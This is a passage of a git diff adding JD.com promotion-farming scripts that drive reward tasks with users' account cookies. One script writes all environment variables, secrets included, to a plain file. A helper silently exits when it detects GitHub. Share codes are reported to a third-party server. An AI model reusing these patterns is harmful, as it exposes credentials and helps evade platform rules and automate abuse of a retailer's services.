(this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) + } + } + + log(...t) { + t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) + } + + logErr(t, e) { + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + + wait(t) { + return new Promise(e => setTimeout(e, t)) + } + + done(t = {}) { + const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + }(t, e) +} diff --git a/jd_env_copy.js b/jd_env_copy.js new file mode 100644 index 0000000000..cdca0ca12b --- /dev/null +++ b/jd_env_copy.js @@ -0,0 +1,12 @@ +/** + * task jd_env_copy.js now + * ts-node jd_ts_test.ts + */ + +const fs = require('fs') +let s = '' +for (let key in process.env) { + s += `${key}=${process.env[key]}` + '\n' +} + +fs.writeFileSync('/ql/scripts/.env', s, 'utf-8') diff --git a/jd_family.js b/jd_family.js new file mode 100644 index 0000000000..ccc53b990f --- /dev/null +++ b/jd_family.js @@ -0,0 +1,227 @@ +/* +京东家庭号 +活动入口:玩一玩-家庭号 +8000幸福值可换100京豆,一天任务做完大概300幸福值,周期较长 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js + +易黑号,建议禁用 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京东家庭号 +1 12,23 * * * jd_family.js, tag=京东家庭号, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_family.png, enabled=true + +================Loon============== +[Script] +cron "1 12,23 * * *" script-path=jd_family.js,tag=京东家庭号 + +===============Surge================= +京东家庭号 = type=cron,cronexp="1 12,23 * * *",wake-system=1,timeout=3600,script-path=jd_family.js + +============小火箭========= +京东家庭号 = type=cron,script-path=jd_family.js, cronexpr="1 12,23 * * *", timeout=3600, enable=true + */ +const $ = new Env('京东家庭号'); +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = $.UserName; + $.beans = 0 + message = ''; + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + await jdFamily() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdFamily() { + await getInfo() + await getUserInfo() + await getUserInfo(true) + await showMsg(); +} + +function showMsg() { + return new Promise(resolve => { + // message += `本次运行获得${$.beans}京豆` + $.log($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); + resolve() + }) +} + +function getInfo() { + return new Promise(resolve => { + $.get({ + url: 'https://lgame.jd.com/babelDiy/Zeus/VhPVVaw8nTSVr69E757fyCebwKG/index.html', + headers: { + Cookie: cookie + } + }, async (err, resp, data) => { + try { + $.info = JSON.parse(data.match(/var snsConfig = (.*)/)[1]) + $.prize = JSON.parse($.info.prize) + } catch (e) { + console.log(e) + } finally { + resolve() + } + }) + }) +} + +function getUserInfo(info = false) { + return new Promise(resolve => { + $.get(taskUrl('family_query'), async (err, resp, data) => { + try { + if (err) { + console.log(`${err},${jsonParse(resp.body)['message']}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + $.userInfo = JSON.parse(data.match(/query\((.*)\n/)[1]) + console.log(`当前幸福值:${$.userInfo.tatalprofits}`) + if (info) { + message += `当前幸福值:${$.userInfo.tatalprofits}` + } else for (let task of $.info.config.tasks) { + let vo = $.userInfo.tasklist.filter(vo => vo.taskid === task['_id']) + if (vo.length > 0) { + vo = vo[0] + // 5fed97ce5da81a8c069810df 健身 2 9 3 + // 5fed97ce5da81a8c069810de 撸猫 80 6 1 + // 5fed97ce5da81a8c069810dd 做美食 40 10 2 + // 5fed97ce5da81a8c069810dc 去组队 150 13 5 + if (vo['isdo'] === 1) { + if (vo['times'] === 0) { + console.log(`去做任务${task['_id']}`) + await doTask(task['_id']) + await $.wait(1000) + } else { + console.log(`${Math.trunc(vo['times'] / 60)}分钟可后做任务${task['_id']}`) + } + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function doTask(taskId) { + let body = `taskid=${taskId}` + return new Promise(resolve => { + $.get(taskUrl('family_task', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${err},${jsonParse(resp.body)['message']}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.match(/query\((.*)\n/)[1]) + if (data.ret === 0) { + console.log(`任务完成成功`) + } else { + console.log(`任务完成失败,原因未知`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function taskUrl(function_id, body = '') { + body = `activeid=${$.info.activeId}&token=${$.info.actToken}&sceneval=2&shareid=&t=${Date.now()}&_=${new Date().getTime()}&callback=query&${body}` + return { + url: `https://wq.jd.com/activep3/family/${function_id}?${body}`, + headers: { + 'Host': 'wq.jd.com', + 'Accept': 'application/json', + 'Accept-Language': 'zh-cn', + 'Content-Type': 'application/json;charset=utf-8', + 'Origin': 'wq.jd.com', + 'User-Agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', + 'Referer': `https://anmp.jd.com/babelDiy/Zeus/xKACpgVjVJM7zPKbd5AGCij5yV9/index.html?wxAppName=jd`, + 'Cookie': cookie + } + } +} + +function taskPostUrl(function_id, body) { + return { + url: `https://lzdz-isv.isvjcloud.com/${function_id}`, + body: body, + headers: { + 'Host': 'lzdz-isv.isvjcloud.com', + 'Accept': 'application/json', + 'Accept-Language': 'zh-cn', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Origin': 'https://lzdz-isv.isvjcloud.com', + 'User-Agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', + 'Referer': `https://lzdz-isv.isvjcloud.com/dingzhi/book/develop/activity?activityId=${ACT_ID}`, + 'Cookie': `${cookie} isvToken=${$.isvToken};` + } + } +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_foodRunning.ts b/jd_foodRunning.ts new file mode 100644 index 0000000000..304aa73662 --- /dev/null +++ b/jd_foodRunning.ts @@ -0,0 +1,211 @@ +import axios from "axios"; +import USER_AGENT, {TotalBean} from "./TS_USER_AGENTS"; + +const notify = require('./sendNotify') + +let cookie: string = '', cookiesArr: string[] = [], res: any; +let token2: string = '', buyerNick: string = '', UserName: string; +let index: number, remain: number = 0; + +!(async () => { + await requireConfig(); + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) + index = i + 1; + let {isLogin, nickName}: any = await TotalBean(cookie) + if (!isLogin) { + notify.sendNotify(__filename.split('/').pop(), `cookie已失效\n京东账号${index}:${nickName || UserName}`) + continue; + } + console.log(`\n开始【京东账号${index}】${nickName || UserName}\n`); + await getIsvToken2(); + res = await api('setMixNick'); + buyerNick = res.data.data.msg + console.log('buyerNick:', buyerNick) + + res = await api('UserInfo') + console.log('total:', res.data.data.totalChance, 'remain:', res.data.data.remainChance) + remain = res.data.data.remainChance + // 换豆 + if (remain > 50000) { + console.log('乞丐版暂无换豆功能!') + } + + // 333 * 3 + res = await api('SendCoinNum') + if (res.data.data.missionTypes.hasGotNum !== res.data.data.missionTypes.dayTop) { + for (let i = 0; i < 3; i++) { + res = await mission('treeCoin', i, 'treeCoin') + console.log(res) + await wait(5000) + } + } + + // 日常任务 + let tasks: any = await api('DailyTask') + for (let t of tasks.data.data) { + if (t.dayTop !== t.hasGotNum) { + // 没做完 + if (t.type === 'viewBanner') { + for (let i = 1; i < 4; i++) { + res = await mission('', i, t.type) + if (res.errorCode === 200 || res.errorCode === '200') { + console.log('任务完成,获得:', res.data.data.sendNum) + } else { + console.log('任务失败:', res) + } + await wait(5000) + } + } + if (t.type === 'viewShop') { + console.log(t.missionName) + let shopList: any = await api('ShopList') + for (let s of shopList.data.data) { + console.log(s.id, s.shopTitle) + res = await mission('', s.id, t.type) + if (res.errorCode === 200 || res.errorCode === '200') { + console.log('任务完成,获得:', res.data.data.sendNum) + } else { + console.log('任务失败:', res) + } + await wait(5000) + } + } + if (t.type === 'viewGoods') { + for (let i = 1; i < 5; i++) { + res = await mission('', i, t.type) + if (res.errorCode === 200 || res.errorCode === '200') { + console.log('任务完成,获得:', res.data.data.sendNum) + } else { + console.log('任务失败:', res) + } + await wait(5000) + } + } + } else { + console.log(`${t.missionName}--已全部完成`) + } + } + } +})() + +function mission(fn: string, goodsNumId: number, missionType: string) { + let body: any = { + "jsonRpc": "2.0", + "params": { + "commonParameter": { + "appkey": "51B59BB805903DA4CE513D29EC448375", + "m": "POST", + "sign": "0028b0b0431cdff0e69353b74a3aad8e", + "timestamp": Date.now(), + "userId": 10299171 + }, + "admJson": { + "missionType": missionType, + "method": "/foodRunning/complete/mission", + "actId": "jd_food_running", + "buyerNick": buyerNick, + "pushWay": 1, + "userId": 10299171 + } + } + } + if (fn === 'jdAward1') { + Object.assign(body.params.admJson, {awardId: fn}) + } else if (fn === 'treeCoin') { + Object.assign(body.params.admJson, {which: goodsNumId}) + } else { + Object.assign(body.params.admJson, {goodsNumId: goodsNumId}) + } + return new Promise(async resolve => { + let {data}: any = await axios.post(`https://jinggengjcq-isv.isvjcloud.com/dm/front/foodRunning/complete/mission?open_id=&mix_nick=&bizExtString=&user_id=10299171`, + JSON.stringify(body), { + headers: { + 'Origin': 'https://jinggengjcq-isv.isvjcloud.com', + 'X-Requested-With': 'XMLHttpRequest', + 'User-Agent': USER_AGENT, + 'Referer': 'https://jinggengjcq-isv.isvjcloud.com/paoku/index.html', + 'Content-Type': 'application/json; charset=UTF-8', + 'Host': 'jinggengjcq-isv.isvjcloud.com', + } + }) + resolve(data) + }) +} + +function api(fn: string) { + return new Promise(async resolve => { + let {data}: any = await axios.post(`https://jinggengjcq-isv.isvjcloud.com/dm/front/foodRunning/${fn}?open_id=&mix_nick=&bizExtString=&user_id=10299171`, + JSON.stringify({ + "jsonRpc": "2.0", + "params": { + "commonParameter": { + "appkey": "51B59BB805903DA4CE513D29EC448375", + "m": "POST", + "sign": "c29adb1d2c970d64c233d66cbcf3fcdf", + "timestamp": Date.now(), + "userId": "10299171" + }, + "admJson": { + "source": "01", + "strTMMixNick": token2, + "method": `/foodRunning/${fn}`, + "actId": "jd_food_running", + "buyerNick": buyerNick, + "pushWay": 1, + "userId": "10299171" + } + } + }), { + headers: { + 'Origin': 'https://jinggengjcq-isv.isvjcloud.com', + 'X-Requested-With': 'XMLHttpRequest', + 'User-Agent': USER_AGENT, + 'Referer': 'https://jinggengjcq-isv.isvjcloud.com/paoku/index.html', + 'Content-Type': 'application/json; charset=UTF-8', + 'Host': 'jinggengjcq-isv.isvjcloud.com', + } + }) + resolve(data); + }) +} + +function getIsvToken2() { + return new Promise(async resolve => { + let {data}: any = await axios.post("https://api.m.jd.com/client.action?functionId=isvObfuscator&clientVersion=10.0.2&client=android&uuid=818aa057737ba6a4&st=1623934998790&sign=e571148c8dfb456a1795d249c6aa3956&sv=100", 'body=%7B%22id%22%3A%22%22%2C%22url%22%3A%22https%3A//xinruidddj-isv.isvjcloud.com%22%7D', { + headers: { + 'Host': 'api.m.jd.com', + 'user-agent': USER_AGENT, + 'content-type': 'application/x-www-form-urlencoded', + 'Cookie': cookie + } + }) + token2 = data.token; + cookie += 'IsvToken=' + token2 + ';' + resolve(); + }) +} + +function requireConfig() { + return new Promise(resolve => { + console.log('\n====================Hello World====================\n'); + console.log('开始获取配置文件\n'); + const jdCookieNode = require('./jdCookie.js'); + Object.keys(jdCookieNode).forEach((item) => { + if (jdCookieNode[item]) { + cookiesArr.push(jdCookieNode[item]); + } + }) + console.log(`共${cookiesArr.length}个京东账号\n`); + resolve(0); + }) +} + +function wait(t: number) { + return new Promise(resolve => { + setTimeout(() => { + resolve() + }, t) + }) +} diff --git a/jd_fruit.js b/jd_fruit.js new file mode 100644 index 0000000000..2f53c11ce4 --- /dev/null +++ b/jd_fruit.js @@ -0,0 +1,1776 @@ +/** + * 东东农场 + * 活动入口:京东APP-我的-东东农场 + * 东东农场活动链接:https://h5.m.jd.com/babelDiy/Zeus/3KSjXqQabiTuD1cJ28QskrpWoBKT/index.html + * 已支持IOS双京东账号,Node.js支持N个京东账号 + * 脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js + * ==========================Quantumultx========================= + * [task_local] + * #jd免费水果 + * 5 6-18/6 * * * jd_fruit.js, tag=东东农场, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdnc.png, enabled=true + * =========================Loon============================= + * [Script] + * cron "5 6-18/6 * * *" script-path=jd_fruit.js,tag=东东农场 + * + * =========================Surge============================ + * 东东农场 = type=cron,cronexp="5 6-18/6 * * *",wake-system=1,timeout=3600,script-path=jd_fruit.js + * + * =========================小火箭=========================== + * 东东农场 = type=cron,script-path=jd_fruit.js, cronexpr="5 6-18/6 * * *", timeout=3600, enable=true + * + * jd免费水果 搬的https://github.com/liuxiaoyucc/jd-helper/blob/a6f275d9785748014fc6cca821e58427162e9336/fruit/fruit.js + */ + +const $ = new Env('东东农场'); + +console.log('\n====================Hello World====================\n') + +let cookiesArr = [], cookie = '', notify, newShareCodes, allMessage = ''; +let shareCodes = [''], message = '', subTitle = '', option = {}, isFruitFinished = false; +const retainWater = 100;//保留水滴大于多少g,默认100g; +let jdNotify = false;//是否关闭通知,false打开通知推送,true关闭通知推送 +let jdFruitBeanCard = false;//农场使用水滴换豆卡(如果出现限时活动时100g水换20豆,此时比浇水划算,推荐换豆),true表示换豆(不浇水),false表示不换豆(继续浇水),脚本默认是浇水 +let randomCount = $.isNode() ? 20 : 5; +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +const newPrizeBody = {"version": 14, "channel": 1, "babelChannel": "120"}; +const urlSchema = `openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://h5.m.jd.com/babelDiy/Zeus/3KSjXqQabiTuD1cJ28QskrpWoBKT/index.html%22%20%7D`; +!(async () => { + await requireConfig(); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = $.UserName; + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + message = ''; + subTitle = ''; + option = {}; + await shareCodesFormat(); + await jdFruit(); + } + } + if ($.isNode() && allMessage && $.ctrTemp) { + await notify.sendNotify(`${$.name}`, `${allMessage}`) + } +})() + .catch((e) => { + $.log("", `❌ ${$.name}, 失败! 原因: ${e}!`, ""); + }) + .finally(() => { + $.done(); + }); + +async function jdFruit() { + subTitle = `【京东账号${$.index}】${$.nickName}`; + try { + await initForFarm(); + if ($.farmInfo.farmUserPro) { + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${$.farmInfo.farmUserPro.shareCode}\n`); + for (let k = 0; k < 5; k++) { + try { + await runTimes() + break + } catch (e) { + } + await $.wait(Math.floor(Math.random() * 10 + 3) * 1000) + } + + console.log(`\n【已成功兑换水果】${$.farmInfo.farmUserPro.winTimes}次\n`); + message += `【已兑换水果】${$.farmInfo.farmUserPro.winTimes}次\n`; + await masterHelpShare();//助力好友 + if ($.farmInfo.treeState === 2 || $.farmInfo.treeState === 3) { + option['open-url'] = urlSchema; + $.msg($.name, ``, `【京东账号${$.index}】${$.nickName || $.UserName}\n【提醒⏰】${$.farmInfo.farmUserPro.name}已可领取\n请去京东APP或微信小程序查看\n点击弹窗即达`, option); + if ($.isNode()) { + await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}水果已可领取`, `【京东账号${$.index}】${$.nickName || $.UserName}\n【提醒⏰】${$.farmInfo.farmUserPro.name}已可领取\n请去京东APP或微信小程序查看`); + } + return + } else if ($.farmInfo.treeState === 1) { + console.log(`\n${$.farmInfo.farmUserPro.name}种植中...\n`) + } else if ($.farmInfo.treeState === 0) { + //已下单购买, 但未开始种植新的水果 + option['open-url'] = urlSchema; + $.msg($.name, ``, `【京东账号${$.index}】 ${$.nickName || $.UserName}\n【提醒⏰】您忘了种植新的水果\n请去京东APP或微信小程序选购并种植新的水果\n点击弹窗即达`, option); + if ($.isNode()) { + await notify.sendNotify(`${$.name} - 您忘了种植新的水果`, `京东账号${$.index} ${$.nickName}\n【提醒⏰】您忘了种植新的水果\n请去京东APP或微信小程序选购并种植新的水果`); + } + return + } + await doDailyTask(); + await doTenWater();//浇水十次 + await getFirstWaterAward();//领取首次浇水奖励 + await getTenWaterAward();//领取10浇水奖励 + await getWaterFriendGotAward();//领取为2好友浇水奖励 + await duck(); + await doTenWaterAgain();//再次浇水 + await predictionFruit();//预测水果成熟时间 + } else { + console.log(`初始化农场数据异常, 请登录京东 app查看农场0元水果功能是否正常,农场初始化数据: ${JSON.stringify($.farmInfo)}`); + message = `【数据异常】请手动登录京东app查看此账号${$.name}是否正常`; + } + } catch (e) { + console.log(`任务执行异常,请检查执行日志 ‼️‼️`); + $.logErr(e); + const errMsg = `京东账号${$.index} ${$.nickName || $.UserName}\n任务执行异常,请检查执行日志 ‼️‼️`; + if ($.isNode()) await notify.sendNotify(`${$.name}`, errMsg); + $.msg($.name, '', `${errMsg}`) + } + await showMsg(); +} + +function runTimes() { + return new Promise((resolve, reject) => { + $.get({ + url: `https://api.jdsharecode.xyz/api/runTimes?activityId=farm&sharecode=${$.farmInfo.farmUserPro.shareCode}` + }, (err, resp, data) => { + if (err) { + console.log('上报失败', err) + reject(err) + } else { + if (data === '1' || data === '0') { + console.log('上报成功') + resolve() + } + } + }) + }) +} + +async function doDailyTask() { + await taskInitForFarm(); + console.log(`开始签到`); + if (!$.farmTask.signInit.todaySigned) { + await signForFarm(); //签到 + if ($.signResult.code === "0") { + console.log(`【签到成功】获得${$.signResult.amount}g💧\\n`) + //message += `【签到成功】获得${$.signResult.amount}g💧\n`//连续签到${signResult.signDay}天 + } else { + // message += `签到失败,详询日志\n`; + console.log(`签到结果: ${JSON.stringify($.signResult)}`); + } + } else { + console.log(`今天已签到,连续签到${$.farmTask.signInit.totalSigned},下次签到可得${$.farmTask.signInit.signEnergyEachAmount}g\n`); + } + // 被水滴砸中 + console.log(`被水滴砸中: ${$.farmInfo.todayGotWaterGoalTask.canPop ? '是' : '否'}`); + if ($.farmInfo.todayGotWaterGoalTask.canPop) { + await gotWaterGoalTaskForFarm(); + if ($.goalResult.code === '0') { + console.log(`【被水滴砸中】获得${$.goalResult.addEnergy}g💧\\n`); + // message += `【被水滴砸中】获得${$.goalResult.addEnergy}g💧\n` + } + } + console.log(`签到结束,开始广告浏览任务`); + if (!$.farmTask.gotBrowseTaskAdInit.f) { + let adverts = $.farmTask.gotBrowseTaskAdInit.userBrowseTaskAds + let browseReward = 0 + let browseSuccess = 0 + let browseFail = 0 + for (let advert of adverts) { //开始浏览广告 + if (advert.limit <= advert.hadFinishedTimes) { + // browseReward+=advert.reward + console.log(`${advert.mainTitle}+ ' 已完成`);//,获得${advert.reward}g + continue; + } + console.log('正在进行广告浏览任务: ' + advert.mainTitle); + await 